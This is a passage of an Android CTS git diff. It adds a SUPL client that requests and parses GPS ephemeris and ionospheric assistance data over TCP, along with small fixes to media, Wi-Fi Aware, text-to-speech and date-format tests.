+ GpsNavMessageProto navMessageProto = buildNavMessageProto(decodedMessage);
+
+ tcpClient.closeSocket();
+
+ return navMessageProto;
+ }
+
+ /** Fills GpsNavMessageProto with the assistance data obtained in ULP_PDU */
+ private GpsNavMessageProto buildNavMessageProto(ULP_PDU decodedMessage) {
+ UlpMessage message = decodedMessage.getMessage();
+
+ PosPayLoad.rrlpPayloadType rrlpPayload =
+ message.getMsSUPLPOS().getPosPayLoad().getRrlpPayload();
+ PDU pdu = PDU.fromPerUnaligned(rrlpPayload.getValue());
+ IonosphericModel ionoModel = pdu.getComponent().getAssistanceData().getGps_AssistData()
+ .getControlHeader().getIonosphericModel();
+ NavigationModel navModel = pdu.getComponent().getAssistanceData().getGps_AssistData()
+ .getControlHeader().getNavigationModel();
+ int gpsWeek = pdu.getComponent().getAssistanceData().getGps_AssistData().getControlHeader()
+ .getReferenceTime().getGpsTime().getGpsWeek().getInteger().intValue();
+ gpsWeek = getGpsWeekWithRollover(gpsWeek);
+ Iterable<NavModelElement> navModelElements = navModel.getNavModelList().getValues();
+
+ GpsNavMessageProto gpsNavMessageProto = new GpsNavMessageProto();
+ gpsNavMessageProto.rpcStatus = GpsNavMessageProto.UNKNOWN_RPC_STATUS;
+
+ // Set Iono Model.
+ IonosphericModelProto ionosphericModelProto = new IonosphericModelProto();
+ double[] alpha = new double[4];
+ alpha[0] = ionoModel.getAlfa0().getInteger().byteValue() * IONOSPHERIC_ALFA_0_SCALE_FACTOR;
+ alpha[1] = ionoModel.getAlfa1().getInteger().byteValue() * IONOSPHERIC_ALFA_1_SCALE_FACTOR;
+ alpha[2] = ionoModel.getAlfa2().getInteger().byteValue() * IONOSPHERIC_ALFA_2_SCALE_FACTOR;
+ alpha[3] = ionoModel.getAlfa3().getInteger().byteValue() * IONOSPHERIC_ALFA_3_SCALE_FACTOR;
+ ionosphericModelProto.alpha = alpha;
+
+ double[] beta = new double[4];
+ beta[0] = ionoModel.getBeta0().getInteger().byteValue() * IONOSPHERIC_BETA_0_SCALE_FACTOR;
+ beta[1] = ionoModel.getBeta1().getInteger().byteValue() * IONOSPHERIC_BETA_1_SCALE_FACTOR;
+ beta[2] = ionoModel.getBeta2().getInteger().byteValue() * IONOSPHERIC_BETA_2_SCALE_FACTOR;
+ beta[3] = ionoModel.getBeta3().getInteger().byteValue() * IONOSPHERIC_BETA_3_SCALE_FACTOR;
+ ionosphericModelProto.beta = beta;
+
+ gpsNavMessageProto.iono = ionosphericModelProto;
+
+ ArrayList<GpsEphemerisProto> ephemerisList = new ArrayList<>();
+ for (NavModelElement navModelElement : navModelElements) {
+ int satID = navModelElement.getSatelliteID().getInteger().intValue();
+ SatStatus satStatus = navModelElement.getSatStatus();
+ UncompressedEphemeris ephemeris = satStatus.getNewSatelliteAndModelUC();
+
+ GpsEphemerisProto gpsEphemerisProto = new GpsEphemerisProto();
+ toSingleEphemeris(satID, gpsWeek, ephemeris, gpsEphemerisProto);
+ ephemerisList.add(gpsEphemerisProto);
+ }
+
+ gpsNavMessageProto.ephemerids =
+ ephemerisList.toArray(new GpsEphemerisProto[ephemerisList.size()]);
+ gpsNavMessageProto.rpcStatus = GpsNavMessageProto.SUCCESS;
+
+ return gpsNavMessageProto;
+ }
+
+ /**
+ * Calculates the GPS week with rollovers. A rollover happens every 1024 weeks, beginning from GPS
+ * epoch (January 6, 1980).
+ *
+ * @param gpsWeek The modulo-1024 GPS week.
+ *
+ * @return The absolute GPS week.
+ */
+ private int getGpsWeekWithRollover(int gpsWeek) {
+ long nowMs = System.currentTimeMillis();
+ long elapsedTimeFromGpsEpochMs = nowMs - GPS_EPOCH_AS_UNIX_EPOCH_MS;
+ long rolloverCycles = elapsedTimeFromGpsEpochMs / GPS_CYCLE_MS;
+ int rolloverWeeks = (int) rolloverCycles * GPS_CYCLE_WEEKS;
+ return gpsWeek + rolloverWeeks;
+ }
+
+ /**
+ * Fills GpsEphemerisProto with the assistance data obtained in UncompressedEphemeris for the
+ * given satellite id.
+ */
+ private void toSingleEphemeris(
+ int satId, int gpsWeek, UncompressedEphemeris ephemeris,
+ GpsEphemerisProto gpsEphemerisProto) {
+
+ gpsEphemerisProto.prn = satId + 1;
+ gpsEphemerisProto.week = gpsWeek;
+ gpsEphemerisProto.l2Code = ephemeris.getEphemCodeOnL2().getInteger().intValue();
+ gpsEphemerisProto.l2Flag = ephemeris.getEphemL2Pflag().getInteger().intValue();
+ gpsEphemerisProto.svHealth = ephemeris.getEphemSVhealth().getInteger().intValue();
+
+ gpsEphemerisProto.iode = ephemeris.getEphemIODC().getInteger().intValue();
+ gpsEphemerisProto.iodc = ephemeris.getEphemIODC().getInteger().intValue();
+ gpsEphemerisProto.toc = ephemeris.getEphemToc().getInteger().intValue() * NAVIGATION_TOC_SCALE_FACTOR;
+ gpsEphemerisProto.toe = ephemeris.getEphemToe().getInteger().intValue() * NAVIGATION_TOE_SCALE_FACTOR;
+ gpsEphemerisProto.af0 = ephemeris.getEphemAF0().getInteger().intValue() * NAVIGATION_AF0_SCALE_FACTOR;
+ gpsEphemerisProto.af1 = ephemeris.getEphemAF1().getInteger().shortValue() * NAVIGATION_AF1_SCALE_FACTOR;
+ gpsEphemerisProto.af2 = ephemeris.getEphemAF2().getInteger().byteValue() * NAVIGATION_AF2_SCALE_FACTOR;
+ gpsEphemerisProto.tgd = ephemeris.getEphemTgd().getInteger().byteValue() * NAVIGATION_TGD_SCALE_FACTOR;
+ gpsEphemerisProto.rootOfA = ephemeris.getEphemAPowerHalf().getInteger().longValue()
+ * NAVIGATION_A_POWER_HALF_SCALE_FACTOR;
+
+ gpsEphemerisProto.e = ephemeris.getEphemE().getInteger().longValue() * NAVIGATION_E_SCALE_FACTOR;
+ gpsEphemerisProto.i0 = ephemeris.getEphemI0().getInteger().intValue() * NAVIGATION_I0_SCALE_FACTOR;
+ gpsEphemerisProto.iDot = ephemeris.getEphemIDot().getInteger().intValue() * NAVIGATION_I_DOT_SCALE_FACTOR;
+ gpsEphemerisProto.omega = ephemeris.getEphemW().getInteger().intValue() * NAVIGATION_W_SCALE_FACTOR;
+ gpsEphemerisProto.omega0 = ephemeris.getEphemOmegaA0().getInteger().intValue() * NAVIGATION_OMEGA0_SCALE_FACTOR;
+ gpsEphemerisProto.omegaDot = ephemeris.getEphemOmegaADot().getInteger().intValue()
+ * NAVIGATION_OMEGA_A_DOT_SCALE_FACTOR;
+ gpsEphemerisProto.m0 = ephemeris.getEphemM0().getInteger().intValue() * NAVIGATION_M0_SCALE_FACTOR;
+ gpsEphemerisProto.deltaN = ephemeris.getEphemDeltaN().getInteger().shortValue() * NAVIGATION_DELTA_N_SCALE_FACTOR;
+ gpsEphemerisProto.crc = ephemeris.getEphemCrc().getInteger().shortValue() * NAVIGATION_CRC_SCALE_FACTOR;
+ gpsEphemerisProto.crs = ephemeris.getEphemCrs().getInteger().shortValue() * NAVIGATION_CRS_SCALE_FACTOR;
+ gpsEphemerisProto.cuc = ephemeris.getEphemCuc().getInteger().shortValue() * NAVIGATION_CUC_SCALE_FACTOR;
+ gpsEphemerisProto.cus = ephemeris.getEphemCus().getInteger().shortValue() * NAVIGATION_CUS_SCALE_FACTOR;
+ gpsEphemerisProto.cic = ephemeris.getEphemCic().getInteger().shortValue() * NAVIGATION_CIC_SCALE_FACTOR;
+ gpsEphemerisProto.cis = ephemeris.getEphemCis().getInteger().shortValue() * NAVIGATION_CIS_SCALE_FACTOR;
+
+ }
+
+}
diff --git a/tests/tests/location/src/android/location/cts/suplClient/SuplRrlpMessagesGenerator.java b/tests/tests/location/src/android/location/cts/suplClient/SuplRrlpMessagesGenerator.java
new file mode 100644
index 0000000..e6f3446
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/suplClient/SuplRrlpMessagesGenerator.java
@@ -0,0 +1,288 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.suplClient;
+
+import android.location.cts.asn1.base.PacketBuilder;
+import android.location.cts.asn1.supl2.rrlp_messages.PDU;
+import android.location.cts.asn1.supl2.supl_pos.PosPayLoad;
+import android.location.cts.asn1.supl2.supl_pos.SUPLPOS;
+import android.location.cts.asn1.supl2.supl_pos_init.NavigationModel;
+import android.location.cts.asn1.supl2.supl_pos_init.RequestedAssistData;
+import android.location.cts.asn1.supl2.supl_pos_init.SUPLPOSINIT;
+import android.location.cts.asn1.supl2.supl_start.PosProtocol;
+import android.location.cts.asn1.supl2.supl_start.PosTechnology;
+import android.location.cts.asn1.supl2.supl_start.PrefMethod;
+import android.location.cts.asn1.supl2.supl_start.SETCapabilities;
+import android.location.cts.asn1.supl2.supl_start.SUPLSTART;
+import android.location.cts.asn1.supl2.ulp.ULP_PDU;
+import android.location.cts.asn1.supl2.ulp.UlpMessage;
+import android.location.cts.asn1.supl2.ulp_components.CellInfo;
+import android.location.cts.asn1.supl2.ulp_components.LocationId;
+import android.location.cts.asn1.supl2.ulp_components.Position;
+import android.location.cts.asn1.supl2.ulp_components.Position.timestampType;
+import android.location.cts.asn1.supl2.ulp_components.PositionEstimate;
+import android.location.cts.asn1.supl2.ulp_components.PositionEstimate.latitudeSignType;
+import android.location.cts.asn1.supl2.ulp_components.SessionID;
+import android.location.cts.asn1.supl2.ulp_components.SetSessionID;
+import android.location.cts.asn1.supl2.ulp_components.Status;
+import android.location.cts.asn1.supl2.ulp_components.Version;
+import android.location.cts.asn1.supl2.ulp_components.WcdmaCellInformation;
+
+import java.math.BigInteger;
+import java.net.InetAddress;
+import java.net.UnknownHostException;
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+import java.util.BitSet;
+import java.util.Calendar;
+import java.util.GregorianCalendar;
+import java.util.Random;
+import java.util.TimeZone;
+
+import javax.annotation.Nullable;
+
+/**
+ * A class that generates several types of GPS SUPL client payloads that can be transmitted over a
+ * GPS socket.
+ *
+ * <p>Two types of SUPL payloads are supported in this version: Local Location and WCDMA versions.
+ * However, it should be straightforward to extend this class to support other types of SUPL
+ * requests.
+ */
+public class SuplRrlpMessagesGenerator {
+ // Scale factors used for conversion from latitude and longitude in SUPL protocol format
+ // to decimal format
+ private static final double POSITION_ESTIMATE_LAT_SCALE_FACTOR = 90.0 / 8388608.0;
+ private static final double POSITION_ESTIMATE_LNG_SCALE_FACTOR = 180.0 / 8388608.0;
+
+ /**
+ * Generate a SUPL START message that can be send by the SUPL client to the server in the case
+ * that device location is known via a latitude and a longitude.
+ *
+ * <p>SUPL START is the first message to be send from the client to the server. The server should
+ * response to the SUPL START message with a SUPL RESPONSE message containing a SessionID.
+ *
+ */
+ public static byte[] generateSuplStartLocalLocationMessage(@Nullable InetAddress ipAddress)
+ throws UnknownHostException {
+
+ ULP_PDU ulpPdu = new ULP_PDU();
+ Version version = ulpPdu.setVersionToNewInstance();
+ version.setMinToNewInstance().setInteger(BigInteger.ZERO);
+ version.setMajToNewInstance().setInteger(BigInteger.valueOf(2));
+ version.setServindToNewInstance().setInteger(BigInteger.ZERO);
+ ulpPdu.setVersion(version);
+
+ SessionID sessionId = ulpPdu.setSessionIDToNewInstance();
+
+ SetSessionID setSessionId = sessionId.setSetSessionIDToNewInstance();
+ setSessionId.setSessionIdToNewInstance()
+ .setInteger(BigInteger.valueOf(new Random().nextInt(65536)));
+ if (ipAddress == null){
+ ipAddress = InetAddress.getLocalHost();
+ }
+ byte[] ipAsbytes = ipAddress.getAddress();
+ setSessionId.setSetIdToNewInstance().setIPAddressToNewInstance().setIpv4AddressToNewInstance()
+ .setValue(ipAsbytes);
+
+ UlpMessage message = new UlpMessage();
+ SUPLSTART suplStart = message.setMsSUPLSTARTToNewInstance();
+ SETCapabilities setCapabilities = suplStart.setSETCapabilitiesToNewInstance();
+ PosTechnology posTechnology = setCapabilities.setPosTechnologyToNewInstance();
+ posTechnology.setAgpsSETassistedToNewInstance().setValue(false);
+ posTechnology.setAgpsSETBasedToNewInstance().setValue(true);
+ posTechnology.setAutonomousGPSToNewInstance().setValue(true);
+ posTechnology.setAFLTToNewInstance().setValue(false);
+ posTechnology.setECIDToNewInstance().setValue(false);
+ posTechnology.setEOTDToNewInstance().setValue(false);
+ posTechnology.setOTDOAToNewInstance().setValue(false);
+
+ setCapabilities.setPrefMethodToNewInstance().setValue(PrefMethod.Value.agpsSETBasedPreferred);
+
+ PosProtocol posProtocol = setCapabilities.setPosProtocolToNewInstance();
+ posProtocol.setTia801ToNewInstance().setValue(false);
+ posProtocol.setRrlpToNewInstance().setValue(true);
+ posProtocol.setRrcToNewInstance().setValue(false);
+
+ LocationId locationId = suplStart.setLocationIdToNewInstance();
+ CellInfo cellInfo = locationId.setCellInfoToNewInstance();
+ cellInfo.setExtensionVer2_CellInfo_extensionToNewInstance();
+ // FF-FF-FF-FF-FF-FF
+ final String macBinary = "111111111111111111111111111111111111111111111111";
+ BitSet bits = new BitSet(macBinary.length());
+ for (int i = 0; i < macBinary.length(); ++i) {
+ if (macBinary.charAt(i) == '1') {
+ bits.set(i);
+ }
+ }
+ cellInfo.getExtensionVer2_CellInfo_extension().setWlanAPToNewInstance()
+ .setApMACAddressToNewInstance().setValue(bits);
+ locationId.setStatusToNewInstance().setValue(Status.Value.current);
+
+ message.setMsSUPLSTART(suplStart);
+
+ ulpPdu.setMessage(message);
+ return encodeUlp(ulpPdu);
+ }
+
+ /**
+ * Generate a SUPL POS INIT message that can be send by the SUPL client to the server in the case
+ * that device location is known via a latitude and a longitude.
+ *
+ * <p>SUPL POS INIT is the second message to be send from the client to the server after receiving
+ * a SUPL RESPONSE containing a SessionID from the server. The SessionID received
+ * from the server response should set in the SUPL POS INIT message.
+ *
+ */
+ public static byte[] generateSuplPositionInitLocalLocationMessage(SessionID sessionId, long latE7,
+ long lngE7) {
+
+ ULP_PDU ulpPdu = new ULP_PDU();
+ Version version = ulpPdu.setVersionToNewInstance();
+ version.setMinToNewInstance().setInteger(BigInteger.ZERO);
+ version.setMajToNewInstance().setInteger(BigInteger.valueOf(2));
+ version.setServindToNewInstance().setInteger(BigInteger.ZERO);
+ ulpPdu.setVersion(version);
+
+ ulpPdu.setSessionID(sessionId);
+
+ UlpMessage message = new UlpMessage();
+ SUPLPOSINIT suplPosInit = message.setMsSUPLPOSINITToNewInstance();
+ SETCapabilities setCapabilities = suplPosInit.setSETCapabilitiesToNewInstance();
+ PosTechnology posTechnology = setCapabilities.setPosTechnologyToNewInstance();
+ posTechnology.setAgpsSETassistedToNewInstance().setValue(false);
+ posTechnology.setAgpsSETBasedToNewInstance().setValue(true);
+ posTechnology.setAutonomousGPSToNewInstance().setValue(true);
+ posTechnology.setAFLTToNewInstance().setValue(false);
+ posTechnology.setECIDToNewInstance().setValue(false);
+ posTechnology.setEOTDToNewInstance().setValue(false);
+ posTechnology.setOTDOAToNewInstance().setValue(false);
+
+ setCapabilities.setPrefMethodToNewInstance().setValue(PrefMethod.Value.agpsSETBasedPreferred);
+
+ PosProtocol posProtocol = setCapabilities.setPosProtocolToNewInstance();
+ posProtocol.setTia801ToNewInstance().setValue(false);
+ posProtocol.setRrlpToNewInstance().setValue(true);
+ posProtocol.setRrcToNewInstance().setValue(false);
+
+ RequestedAssistData reqAssistData = suplPosInit.setRequestedAssistDataToNewInstance();
+
+ reqAssistData.setAlmanacRequestedToNewInstance().setValue(false);
+ reqAssistData.setUtcModelRequestedToNewInstance().setValue(false);
+ reqAssistData.setIonosphericModelRequestedToNewInstance().setValue(true);
+ reqAssistData.setDgpsCorrectionsRequestedToNewInstance().setValue(false);
+ reqAssistData.setReferenceLocationRequestedToNewInstance().setValue(false);
+ reqAssistData.setReferenceTimeRequestedToNewInstance().setValue(true);
+ reqAssistData.setAcquisitionAssistanceRequestedToNewInstance().setValue(false);
+ reqAssistData.setRealTimeIntegrityRequestedToNewInstance().setValue(false);
+ reqAssistData.setNavigationModelRequestedToNewInstance().setValue(true);
+ NavigationModel navigationModelData = reqAssistData.setNavigationModelDataToNewInstance();
+ navigationModelData.setGpsWeekToNewInstance().setInteger(BigInteger.ZERO);
+ navigationModelData.setGpsToeToNewInstance().setInteger(BigInteger.ZERO);
+ navigationModelData.setNSATToNewInstance().setInteger(BigInteger.ZERO);
+ navigationModelData.setToeLimitToNewInstance().setInteger(BigInteger.ZERO);
+
+ LocationId locationId = suplPosInit.setLocationIdToNewInstance();
+ CellInfo cellInfo = locationId.setCellInfoToNewInstance();
+ cellInfo.setExtensionVer2_CellInfo_extensionToNewInstance();
+ // FF-FF-FF-FF-FF-FF
+ final String macBinary = "111111111111111111111111111111111111111111111111";
+ BitSet bits = new BitSet(macBinary.length());
+ for (int i = 0; i < macBinary.length(); ++i) {
+ if (macBinary.charAt(i) == '1') {
+ bits.set(i);
+ }
+ }
+ cellInfo.getExtensionVer2_CellInfo_extension().setWlanAPToNewInstance()
+ .setApMACAddressToNewInstance().setValue(bits);
+ locationId.setStatusToNewInstance().setValue(Status.Value.current);
+
+ Position pos = suplPosInit.setPositionToNewInstance();
+ timestampType utcTime = pos.setTimestampToNewInstance();
+ Calendar currentTime = GregorianCalendar.getInstance(TimeZone.getTimeZone("UTC"));
+ utcTime.setYear(currentTime.get(Calendar.YEAR));
+ utcTime.setMonth(currentTime.get(Calendar.MONTH) + 1); // Calendar's MONTH starts from 0.
+ utcTime.setDay(currentTime.get(Calendar.DAY_OF_MONTH));
+ utcTime.setHour(currentTime.get(Calendar.HOUR_OF_DAY));
+ utcTime.setMinute(currentTime.get(Calendar.MINUTE));
+ utcTime.setSecond(currentTime.get(Calendar.SECOND));
+
+ PositionEstimate posEstimate = pos.setPositionEstimateToNewInstance();
+
+ long latSuplFormat = (long) (Math.abs(latE7) / (POSITION_ESTIMATE_LAT_SCALE_FACTOR * 1E7));
+ long lngSuplFormat = (long) (lngE7 / (POSITION_ESTIMATE_LNG_SCALE_FACTOR * 1E7));
+ posEstimate.setLatitudeToNewInstance().setInteger(BigInteger.valueOf(latSuplFormat));
+ posEstimate.setLongitudeToNewInstance().setInteger(BigInteger.valueOf(lngSuplFormat));
+ posEstimate.setLatitudeSignToNewInstance()
+ .setValue(latE7 > 0 ? latitudeSignType.Value.north : latitudeSignType.Value.south);
+
+ message.setMsSUPLPOSINIT(suplPosInit);
+
+ ulpPdu.setMessage(message);
+ return encodeUlp(ulpPdu);
+ }
+
+ public static byte[] generateAssistanceDataAckMessage(SessionID sessionId) {
+ ULP_PDU ulpPdu = new ULP_PDU();
+ Version version = ulpPdu.setVersionToNewInstance();
+ version.setMinToNewInstance().setInteger(BigInteger.ZERO);
+ version.setMajToNewInstance().setInteger(BigInteger.valueOf(2));
+ version.setServindToNewInstance().setInteger(BigInteger.ZERO);
+ ulpPdu.setVersion(version);
+
+ ulpPdu.setSessionID(sessionId);
+
+ PDU pdu = new PDU();
+ pdu.setReferenceNumberToNewInstance();
+ pdu.getReferenceNumber().setInteger(BigInteger.ONE);
+ pdu.setComponentToNewInstance();
+ pdu.getComponent().setAssistanceDataAckToNewInstance();
+
+ PacketBuilder payloadBuilder = new PacketBuilder();
+ try {
+ payloadBuilder.appendAll(pdu.encodePerUnaligned());
+ } catch (IllegalArgumentException | IllegalStateException | IndexOutOfBoundsException
+ | UnsupportedOperationException e) {
+ throw new RuntimeException(e);
+ }
+ PosPayLoad.rrlpPayloadType rrlpPayload = new PosPayLoad.rrlpPayloadType();
+ rrlpPayload.setValue(payloadBuilder.getPaddedBytes());
+
+ UlpMessage message = new UlpMessage();
+ SUPLPOS suplPos = message.setMsSUPLPOSToNewInstance();
+ suplPos.setPosPayLoadToNewInstance();
+ suplPos.getPosPayLoad().setRrlpPayload(rrlpPayload);
+
+ ulpPdu.setMessage(message);
+
+ return encodeUlp(ulpPdu);
+ }
+
+ /** Encodes a ULP_PDU message into bytes and sets the length field. */
+ public static byte[] encodeUlp(ULP_PDU message) {
+ message.setLengthToNewInstance();
+ message.getLength().setInteger(BigInteger.ZERO);
+ PacketBuilder messageBuilder = new PacketBuilder();
+ messageBuilder.appendAll(message.encodePerUnaligned());
+ byte[] result = messageBuilder.getPaddedBytes();
+ ByteBuffer buffer = ByteBuffer.wrap(result);
+ buffer.order(ByteOrder.BIG_ENDIAN);
+ buffer.putShort((short) result.length);
+ return buffer.array();
+ }
+
+}
diff --git a/tests/tests/location/src/android/location/cts/suplClient/SuplTcpClient.java b/tests/tests/location/src/android/location/cts/suplClient/SuplTcpClient.java
new file mode 100644
index 0000000..81d6d06
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/suplClient/SuplTcpClient.java
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.suplClient;
+
+import java.io.BufferedInputStream;
+import java.io.IOException;
+import java.net.Socket;
+import java.net.UnknownHostException;
+import java.nio.ByteBuffer;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * A TCP client that is used to send and receive SUPL request and responses by the SUPL client. The
+ * constructor establishes a connection to the SUPL server specified by a given address and port.
+ */
+public class SuplTcpClient {
+
+ private static final int READ_TIMEOUT_MILLIS = (int) TimeUnit.SECONDS.toMillis(10);
+ private static final short HEADER_SIZE = 2;
+ /** BUFFER_SIZE data size that is enough to hold SUPL responses */
+ private static final int SUPL_RESPONSE_BUFFER_SIZE = 16384;
+ private static final byte[] SUPL_RESPONSE_BUFFER = new byte[SUPL_RESPONSE_BUFFER_SIZE];
+
+ private Socket socket;
+ private BufferedInputStream bufferedInputStream;
+
+ public SuplTcpClient(String suplServerName, int suplServerPort)
+ throws UnknownHostException, IOException {
+ System.out.println("Connecting to " + suplServerName + " on port " + suplServerPort);
+ socket = new Socket(suplServerName, suplServerPort);
+ socket.setSoTimeout(READ_TIMEOUT_MILLIS);
+ System.out.println("Connection established to " + socket.getOutputStream());
+ bufferedInputStream = new BufferedInputStream(socket.getInputStream());
+
+ }
+
+ /** Sends a byte array of SUPL data to the server */
+ public void sendSuplRequest(byte[] data) throws IOException {
+ socket.getOutputStream().write(data);
+ }
+
+ /**
+ * Reads SUPL server response and return it as a byte array. Upon the SUPL protocol, the size of
+ * the payload is stored in the first two bytes of the response, hence these two bytes are read
+ * first followed by reading a payload of that size. Null is returned if the size of the payload
+ * is not readable.
+ */
+ public byte[] getSuplResponse() throws IOException {
+ int sizeOfRead = bufferedInputStream.read(SUPL_RESPONSE_BUFFER, 0, HEADER_SIZE);
+ if (sizeOfRead == HEADER_SIZE) {
+ byte[] lengthArray = {SUPL_RESPONSE_BUFFER[0], SUPL_RESPONSE_BUFFER[1]};
+ short dataLength = ByteBuffer.wrap(lengthArray).getShort();
+ bufferedInputStream.read(SUPL_RESPONSE_BUFFER, 2, dataLength - HEADER_SIZE);
+ return SUPL_RESPONSE_BUFFER;
+ } else {
+ return null;
+ }
+ }
+
+ /** Closes the TCP socket */
+ public void closeSocket() throws IOException {
+ socket.close();
+ }
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecTest.java b/tests/tests/media/src/android/media/cts/MediaCodecTest.java
index 56cbc93..afe5019 100644
--- a/tests/tests/media/src/android/media/cts/MediaCodecTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCodecTest.java
@@ -255,7 +255,8 @@
if (!isEncoder) {
fail("createInputSurface should not work on a decoder");
}
- } catch (IllegalStateException e) { // expected for decoder and audio encoder
+ } catch (IllegalStateException |
+ IllegalArgumentException e) { // expected for decoder and audio encoder
if (isVideoEncoder) {
throw e;
}
diff --git a/tests/tests/net/src/android/net/wifi/aware/cts/SingleDeviceTest.java b/tests/tests/net/src/android/net/wifi/aware/cts/SingleDeviceTest.java
index d4982a5..87e22d8 100644
--- a/tests/tests/net/src/android/net/wifi/aware/cts/SingleDeviceTest.java
+++ b/tests/tests/net/src/android/net/wifi/aware/cts/SingleDeviceTest.java
@@ -37,7 +37,9 @@
import android.net.wifi.aware.WifiAwareSession;
import android.os.Handler;
import android.os.HandlerThread;
+import android.provider.Settings;
import android.test.AndroidTestCase;
+import android.util.Log;
import java.util.ArrayDeque;
import java.util.ArrayList;
@@ -74,6 +76,13 @@
// used to store any WifiAwareSession allocated during tests - will clean-up after tests
private List<WifiAwareSession> mSessions = new ArrayList<>();
+ // Return true if location is enabled.
+ private boolean isLocationEnabled() {
+ return Settings.Secure.getInt(getContext().getContentResolver(),
+ Settings.Secure.LOCATION_MODE, Settings.Secure.LOCATION_MODE_OFF) !=
+ Settings.Secure.LOCATION_MODE_OFF;
+ }
+
private class WifiAwareBroadcastReceiver extends BroadcastReceiver {
private CountDownLatch mBlocker = new CountDownLatch(1);
@@ -422,6 +431,18 @@
return;
}
+ if (isLocationEnabled()) {
+ /* Can't execute this test with location on since it means that Aware will not get
+ * disabled even if we disable Wi-Fi (which when location is enabled does not correspond
+ * to disabling the Wi-Fi chip).
+ *
+ * Considering other tests may require locationing to be enable we can't also fail the
+ * test in such a case. Hence it is skipped.
+ */
+ Log.d(TAG, "Skipping test since location scans are enabled");
+ return;
+ }
+
IntentFilter intentFilter = new IntentFilter();
intentFilter.addAction(WifiAwareManager.ACTION_WIFI_AWARE_STATE_CHANGED);
diff --git a/tests/tests/speech/src/android/speech/tts/cts/StubTextToSpeechService.java b/tests/tests/speech/src/android/speech/tts/cts/StubTextToSpeechService.java
index 52b3072..857ffd8 100644
--- a/tests/tests/speech/src/android/speech/tts/cts/StubTextToSpeechService.java
+++ b/tests/tests/speech/src/android/speech/tts/cts/StubTextToSpeechService.java
@@ -16,6 +16,7 @@
package android.speech.tts.cts;
import android.media.AudioFormat;
+import android.os.ConditionVariable;
import android.speech.tts.SynthesisCallback;
import android.speech.tts.SynthesisRequest;
import android.speech.tts.TextToSpeech;
@@ -33,8 +34,8 @@
public class StubTextToSpeechService extends TextToSpeechService {
private static final String LOG_TAG = "StubTextToSpeechService";
- // Object that onSynthesizeText will #wait on, if set to non-null
- public static volatile Object sSynthesizeTextWait;
+ // Object that onSynthesizeText will #block on, if set to non-null
+ public static volatile ConditionVariable sSynthesizeTextWait;
private ArrayList<Locale> supportedLanguages = new ArrayList<Locale>();
private ArrayList<Locale> supportedCountries = new ArrayList<Locale>();
@@ -79,15 +80,9 @@
return;
}
- final Object synthesizeTextWait = sSynthesizeTextWait;
+ final ConditionVariable synthesizeTextWait = sSynthesizeTextWait;
if (synthesizeTextWait != null) {
- synchronized (synthesizeTextWait) {
- try {
- synthesizeTextWait.wait(10000); // 10s timeout
- } catch (InterruptedException e) {
- Log.e(LOG_TAG, "onSynthesizeText wait interrupted", e);
- }
- }
+ synthesizeTextWait.block(10000); // 10s timeout
}
// Ten chunks with each a time point.
diff --git a/tests/tests/speech/src/android/speech/tts/cts/TextToSpeechServiceTest.java b/tests/tests/speech/src/android/speech/tts/cts/TextToSpeechServiceTest.java
index 8e4d901..4d9faad 100644
--- a/tests/tests/speech/src/android/speech/tts/cts/TextToSpeechServiceTest.java
+++ b/tests/tests/speech/src/android/speech/tts/cts/TextToSpeechServiceTest.java
@@ -15,6 +15,7 @@
*/
package android.speech.tts.cts;
+import android.os.ConditionVariable;
import android.os.Environment;
import android.speech.tts.TextToSpeech;
import android.test.AndroidTestCase;
@@ -95,7 +96,7 @@
}
public void testSpeakStop() throws Exception {
- final Object synthesizeTextWait = new Object();
+ final ConditionVariable synthesizeTextWait = new ConditionVariable();
StubTextToSpeechService.sSynthesizeTextWait = synthesizeTextWait;
getTts().stop();
@@ -108,9 +109,7 @@
getTts().stop();
// Wake up the Stubs #onSynthesizeSpeech (one that will be stopped in-progress)
- synchronized (synthesizeTextWait) {
- synthesizeTextWait.notify();
- }
+ synthesizeTextWait.open();
for (int i = 0; i < iterations; i++) {
assertTrue("speak() stop callback timeout", mTts.waitForStop(
diff --git a/tests/tests/text/src/android/text/format/cts/DateFormatTest.java b/tests/tests/text/src/android/text/format/cts/DateFormatTest.java
index 4529f2a..13c9aa2 100644
--- a/tests/tests/text/src/android/text/format/cts/DateFormatTest.java
+++ b/tests/tests/text/src/android/text/format/cts/DateFormatTest.java
@@ -26,6 +26,7 @@
import android.content.Context;
import android.os.ParcelFileDescriptor;
import android.provider.Settings;
+import android.support.annotation.NonNull;
import android.support.test.InstrumentationRegistry;
import android.support.test.filters.LargeTest;
import android.support.test.runner.AndroidJUnit4;
@@ -67,13 +68,13 @@
private Context mContext;
- private boolean mIs24HourFormat;
+ private String mDefaultTimeFormat;
private Locale mDefaultLocale;
@Before
- public void setup() {
+ public void setup() throws Exception {
mContext = InstrumentationRegistry.getTargetContext();
- mIs24HourFormat = DateFormat.is24HourFormat(mContext);
+ mDefaultTimeFormat = getTimeFormat();
mDefaultLocale = Locale.getDefault();
enableAppOps();
@@ -81,8 +82,8 @@
@After
public void teardown() throws Exception {
- if (!mIs24HourFormat) {
- setTimeFormat(TIME_FORMAT_12);
+ if (!getTimeFormat().equals(mDefaultTimeFormat)) {
+ setTimeFormat(mDefaultTimeFormat);
}
